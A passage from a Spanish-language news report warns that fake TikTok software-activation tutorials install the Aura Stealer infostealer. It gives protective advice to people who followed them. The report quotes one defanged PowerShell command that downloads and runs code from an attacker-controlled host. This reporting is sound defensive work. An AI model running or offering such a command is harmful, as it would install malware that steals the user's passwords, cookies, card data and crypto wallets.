Un ejemplo detectado es `iex (irm slmgr[.

]win/photoshop)`, que en lugar de activar el software, conecta el equipo a un servidor remoto controlado por los atacantes.

Una vez establecida la conexión, se descarga e instala una versión del malware conocido como Aura Stealer.

Este programa malicioso está especializado en extraer información sensible almacenada en el equipo, como contraseñas guardadas en navegadores, cookies de autenticación, datos de tarjetas bancarias y credenciales de billeteras de criptomonedas. Los especialistas advierten que TikTok se ha convertido en un “terreno fértil para los ciberdelincuentes” debido a su capacidad de viralización. Como medida de protección, se recomienda a quienes hayan seguido estos tutoriales cambiar inmediatamente todas sus contraseñas, realizar un escaneo completo con un antivirus actualizado y abstenerse de ejecutar comandos de fuentes no confiables.